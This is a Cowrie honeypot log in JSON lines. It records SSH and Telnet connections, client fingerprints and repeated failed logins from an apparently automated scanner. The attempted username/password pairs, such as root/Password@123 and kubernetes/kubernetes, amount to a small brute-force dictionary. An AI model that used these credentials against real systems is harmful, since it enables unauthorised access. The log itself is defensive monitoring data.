{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:09.870730Z","src_ip":"45.156.87.254","session":"51a27e89becd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kubernetes","password":"kubernetes","message":"login attempt [kubernetes/kubernetes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:10.285538Z","src_ip":"45.156.87.254","session":"51a27e89becd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:11.372089Z","src_ip":"45.156.87.254","session":"51a27e89becd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.9703288078308105,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:11.402353Z","src_ip":"20.123.41.163","session":"a357f9b6d2da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":33800,"dst_ip":"159.203.135.109","dst_port":22,"session":"db8e65504b4b","protocol":"ssh","message":"New connection: 45.156.87.254:33800 (159.203.135.109:22) [session: db8e65504b4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:14.256665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:14.261245Z","src_ip":"45.156.87.254","session":"db8e65504b4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:14.346917Z","src_ip":"45.156.87.254","session":"db8e65504b4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pz","password":"pz","message":"login attempt [pz/pz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:14.594204Z","src_ip":"45.156.87.254","session":"db8e65504b4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:15.680118Z","src_ip":"45.156.87.254","session":"db8e65504b4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":36896,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f9c7f6a9b3f","protocol":"telnet","message":"New connection: 20.123.41.163:36896 (10.17.0.5:23) [session: 4f9c7f6a9b3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:16.079852Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":36898,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a05ff7fc324","protocol":"telnet","message":"New connection: 20.123.41.163:36898 (10.17.0.5:23) [session: 6a05ff7fc324]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:18.295627Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":37552,"dst_ip":"159.203.135.109","dst_port":22,"session":"611be2b2745b","protocol":"ssh","message":"New connection: 45.156.87.254:37552 (159.203.135.109:22) [session: 611be2b2745b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:18.626251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:18.635822Z","src_ip":"45.156.87.254","session":"611be2b2745b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:18.718675Z","src_ip":"45.156.87.254","session":"611be2b2745b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456A","message":"login attempt [root/a123456A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:18.968193Z","src_ip":"45.156.87.254","session":"611be2b2745b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:20.064776Z","src_ip":"45.156.87.254","session":"611be2b2745b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":52494,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce1f28bc7ccc","protocol":"telnet","message":"New connection: 104.245.105.2:52494 (10.17.0.5:23) [session: ce1f28bc7ccc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:20.113645Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":37566,"dst_ip":"159.203.135.109","dst_port":22,"session":"53aac3ae0e1f","protocol":"ssh","message":"New connection: 45.156.87.254:37566 (159.203.135.109:22) [session: 53aac3ae0e1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:22.967326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:22.976914Z","src_ip":"45.156.87.254","session":"53aac3ae0e1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:23.052264Z","src_ip":"45.156.87.254","session":"53aac3ae0e1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yealink","password":"yealink","message":"login attempt [yealink/yealink] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:23.374309Z","src_ip":"45.156.87.254","session":"53aac3ae0e1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:24.500986Z","src_ip":"45.156.87.254","session":"53aac3ae0e1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.298561096191406,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:26.961050Z","src_ip":"20.123.41.163","session":"b053fa487102","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":37576,"dst_ip":"159.203.135.109","dst_port":22,"session":"e07d479f80c1","protocol":"ssh","message":"New connection: 45.156.87.254:37576 (159.203.135.109:22) [session: e07d479f80c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:27.553386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:27.585412Z","src_ip":"45.156.87.254","session":"e07d479f80c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:27.647015Z","src_ip":"45.156.87.254","session":"e07d479f80c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"mc","message":"login attempt [minecraft/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:27.962073Z","src_ip":"45.156.87.254","session":"e07d479f80c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":40808,"dst_ip":"10.17.0.5","dst_port":23,"session":"81a48b632811","protocol":"telnet","message":"New connection: 104.245.105.2:40808 (10.17.0.5:23) [session: 81a48b632811]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:28.046079Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:29.056648Z","src_ip":"45.156.87.254","session":"e07d479f80c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38758,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee2978327c26","protocol":"ssh","message":"New connection: 45.156.87.254:38758 (159.203.135.109:22) [session: ee2978327c26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:31.985780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:31.990479Z","src_ip":"45.156.87.254","session":"ee2978327c26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:32.204703Z","src_ip":"45.156.87.254","session":"ee2978327c26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@123","message":"login attempt [root/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:32.509523Z","src_ip":"45.156.87.254","session":"ee2978327c26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:33.594403Z","src_ip":"45.156.87.254","session":"ee2978327c26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.0241904258728,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:34.124292Z","src_ip":"104.245.105.2","session":"c44dc031cd3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38780,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc5c179b1167","protocol":"ssh","message":"New connection: 45.156.87.254:38780 (159.203.135.109:22) [session: cc5c179b1167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:36.917028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:36.922185Z","src_ip":"45.156.87.254","session":"cc5c179b1167","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:37.007885Z","src_ip":"45.156.87.254","session":"cc5c179b1167","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1","message":"login attempt [root/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:37.633983Z","src_ip":"45.156.87.254","session":"cc5c179b1167","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:38.721946Z","src_ip":"45.156.87.254","session":"cc5c179b1167","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":37226,"dst_ip":"159.203.135.109","dst_port":22,"session":"43a6809250e2","protocol":"ssh","message":"New connection: 45.156.87.254:37226 (159.203.135.109:22) [session: 43a6809250e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:41.797180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:41.806490Z","src_ip":"45.156.87.254","session":"43a6809250e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:41.892448Z","src_ip":"45.156.87.254","session":"43a6809250e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:42.279191Z","src_ip":"45.156.87.254","session":"43a6809250e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:43.367934Z","src_ip":"45.156.87.254","session":"43a6809250e2","protocol":"ssh"}
